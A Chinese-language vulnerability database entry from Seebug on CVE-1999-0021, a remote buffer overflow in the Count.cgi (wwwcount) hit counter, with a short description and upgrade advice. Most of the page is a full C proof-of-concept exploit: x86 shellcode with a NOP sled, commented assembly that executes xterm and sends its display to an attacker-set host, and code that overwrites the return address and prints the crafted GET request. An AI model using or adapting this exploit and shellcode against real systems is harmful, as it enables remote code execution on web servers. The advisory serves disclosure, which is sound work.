Lucene search

K
seebugRootSSV:4298
HistoryOct 25, 2008 - 12:00 a.m.

Count.cgi(wwwcount)远程缓冲区溢出漏洞

2008-10-2500:00:00
Root
www.seebug.org
29

EPSS

0.09

Percentile

94.6%

BugCVE: CVE-1999-0021
BUGTRAQ: 128

Count.cgi (wwwcount)是一个非常流行的Web站点跟踪统计CGI程序。一般它作为Web页面点击数统计。1997年10月,这个程序被发现了两个远程漏洞。第一个漏洞比较轻微,它能允许远程用户浏览到受限制的.GIF文件,可能泄漏.GIF文件里潜在的敏感数据。

第二个漏洞比较严重,count.cgi程序在处理QUERY_STRING环境变量的时候存在缓冲区溢出漏洞。远程攻击者可以发送一个超长的请求给程序就能进行溢出攻击,以Web用户的权限在系统执行任意命令。

2.3
Muhammad A. Muquit

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载wwwcount 2.4以上版本:

<a href=“http://www.fccc.edu/users/muquit/Count.html” target=“_blank”>http://www.fccc.edu/users/muquit/Count.html</a>


                                                Nicolas Dubee([email protected]) 提供了如下测试程序:

/*

Count.cgi (wwwcount) linux  test exploit
(c) 05/1997 by plaguez  -  [email protected]
Contact me if you manage to improve this crap.

This program needs drastic changes to be useable.
If you can't understand how to modify it for your own purpose,
please do not consider trying it.

*/


#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

char shell[]=
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 
 \xeb\x3c\x5e\x31\xc0\x89\xf1\x8d 
 \x5e\x18\x88\x46\x2c\x88\x46\x30 
 \x88\x46\x39\x88\x46\x4b\x8d\x56 
 \x20\x89\x16\x8d\x56\x2d\x89\x56 
 \x04\x8d\x56\x31\x89\x56\x08\x8d 
 \x56\x3a\x89\x56\x0c\x8d\x56\x10 
 \x89\x46\x10\xb0\x0b\xcd\x80\x31 
 \xdb\x89\xd8\x40\xcd\x80\xe8\xbf 
 \xff\xff\xff\xff\xff\xff\xff\xff 
 \xff\xff\xff\xff\xff\xff\xff\xff 
 \xff\xff\xff\xff\xff\xff\xff\xff 
 \xff\xff\xff 
 /usr/X11R6/bin/xterm0-ut0-display0 
 127.000.000.001:00 
 \xff\xff\xff\xff\xff\xff\xff\xff 
 \xff\xff\xff\xff\xff\xff\xff\xff 
 \xff\xff\xff\xff\xff\xff\xff\xff 
 \xff\xff\xff ;


/*

Assembly stuff for the previous buffer.
This basically implements an execve syscall, by creating
an array of char* (needs to put a null byte at the end of
all strings).
Here we gonna exec an xterm and send it to our host.
(you can't simply exec a shell due to the cgi proto).

        jmp    60
        popl   %esi
        xorl   %eax,%eax           # efface eax
        movl   %esi,%ecx           # recupere l'adresse du buffer
        leal   0x18(%esi),%ebx     # recupere l'adresse des chaines
        movb   %al,0x2c(%esi)      # cree les chaines azt
        movb   %al,0x30(%esi)      #
        movb   %al,0x39(%esi)
        movb   %al,0x4b(%esi)
        leal   0x20(%esi),%edx     # cree le char**
        movl   %edx,(%esi)
        leal   0x2d(%esi),%edx
        movl   %edx,0x4(%esi)
        leal   0x31(%esi),%edx
        movl   %edx,0x8(%esi)
        leal   0x3a(%esi),%edx
        movl   %edx,0xc(%esi)
        leal   0x10(%esi),%edx
        movl   %eax,0x10(%esi)
        movb   $0xb,%al
        int    $0x80                #  passe en mode kernel
        xorl   %ebx,%ebx            #  termine proprement (exit())
        movl   %ebx,%eax            #  si jamais le execve() foire.
        inc    %eax                 #
        int    $0x80                #
        call   -65                  #  retourne au popl en empilant l'adresse de la chaine
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .ascii \ /usr/X11R6/bin/xterm0\          # 44
        .ascii \ -ut0\                           # 48
        .ascii \ -display0\                  # 57  au ;
        .ascii \ 127.000.000.001:00\         # 75 (total des chaines)
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
            ...
*/

char qs[7000];
char chaine[]= user=a ;

unsigned long getesp() {
   //   asm( movl %esp,%eax );
   return 0xbfffee38;
}

void main(int argc, char **argv) {
   int compt;
   long stack;

   stack=getesp();

   if(argc&gt;1)
     stack+=atoi(argv[1]);

   for(compt=0;compt&lt;4104;compt+=4) {
      qs[compt+0] = stack &amp;  0x000000ff;
      qs[compt+1] = (stack &amp; 0x0000ff00) &gt;&gt; 8;
      qs[compt+2] = (stack &amp; 0x00ff0000) &gt;&gt; 16;
      qs[compt+3] = (stack &amp; 0xff000000) &gt;&gt; 24;
   }


   strcpy(qs,chaine);
   qs[strlen(chaine)]=0x90;

   qs[4104]= stack&amp;0x000000ff;
   qs[4105]=(stack&amp;0x0000ff00)&gt;&gt;8;
   qs[4106]=(stack&amp;0x00ff0000)&gt;&gt;16;
   qs[4107]=(stack&amp;0xff000000)&gt;&gt;24;
   qs[4108]= stack&amp;0x000000ff;
   qs[4109]=(stack&amp;0x0000ff00)&gt;&gt;8;
   qs[4110]=(stack&amp;0x00ff0000)&gt;&gt;16;
   qs[4111]=(stack&amp;0xff000000)&gt;&gt;24;
   qs[4112]= stack&amp;0x000000ff;
   qs[4113]=(stack&amp;0x0000ff00)&gt;&gt;8;
   qs[4114]=(stack&amp;0x00ff0000)&gt;&gt;16;
   qs[4115]=(stack&amp;0xff000000)&gt;&gt;24;
   qs[4116]= stack&amp;0x000000ff;
   qs[4117]=(stack&amp;0x0000ff00)&gt;&gt;8;
   qs[4118]=(stack&amp;0x00ff0000)&gt;&gt;16;
   qs[4119]=(stack&amp;0xff000000)&gt;&gt;24;
   qs[4120]= stack&amp;0x000000ff;
   qs[4121]=(stack&amp;0x0000ff00)&gt;&gt;8;
   qs[4122]=(stack&amp;0x00ff0000)&gt;&gt;16;
   qs[4123]=(stack&amp;0xff000000)&gt;&gt;24;
   qs[4124]= stack&amp;0x000000ff;
   qs[4125]=(stack&amp;0x0000ff00)&gt;&gt;8;
   qs[4126]=(stack&amp;0x00ff0000)&gt;&gt;16;
   qs[4127]=(stack&amp;0xff000000)&gt;&gt;24;
   qs[4128]= stack&amp;0x000000ff;
   qs[4129]=(stack&amp;0x0000ff00)&gt;&gt;8;
   qs[4130]=(stack&amp;0x00ff0000)&gt;&gt;16;
   qs[4131]=(stack&amp;0xff000000)&gt;&gt;24;

   strcpy((char*)&amp;qs[4132],shell);

   /* Choose what to do here */
   printf( GET /cgi-bin/Count.cgi?%s\n\n ,qs);
   /*fprintf(stderr, \n\nadresse: %x0x\n ,stack);
   printf( GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n ,qs,stack);
   setenv( QUERY_STRING ,qs,1);
   system( /usr/local/etc/httpd/cgi-bin/Count.cgi );
   system( /bin/sh );*/

}
                              

EPSS

0.09

Percentile

94.6%